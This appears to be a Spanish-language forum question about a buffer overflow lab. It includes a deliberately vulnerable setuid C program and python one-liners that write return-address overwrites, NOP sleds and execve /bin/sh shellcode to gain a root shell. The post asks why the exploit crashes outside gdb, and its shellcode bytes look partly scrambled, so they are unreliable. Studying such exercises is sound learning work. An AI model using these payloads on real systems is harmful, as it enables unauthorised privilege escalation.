Tengo una aplicación con el siguiente código fuente:
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int bof(char *str)
{
char buffer[12];
strcpy(buffer, str);
return 1;
}
int main(int argc, char **argv)
{
char str[517];
FILE *badfile;
badfile = fopen("badfile", "r");
fread(str, sizeof(char), 517, badfile);
bof(str);
printf("Returned Properly\n");
return 1;
}
Dentro de bof
con el strcpy(buffer, str)
estoy tratando de lograr una escalada de privilegios mediante el desbordamiento de búfer. Dentro de gdb con el siguiente comando puedo abrir una nueva shell: python -c 'print "A" * 24 + "\x60\xf1\xff\xbf" + "\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"' > badfile
Fuera de gdb, sé que la dirección de la memoria cambia un poco, así que he intentado con el mismo comando usando algunos nops también: python -c 'print "A" * 24 + "\x60\xf1\xff\xbf" + "\x90" * 30 + "\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"' > badfile
He deshabilitado ASLR, bit NX y pila canaria. Aunque el resultado del último comando anterior es Illegal instruction (core dumped)
¿Qué estoy haciendo mal aquí? (El bit suid de la aplicación como root está habilitado)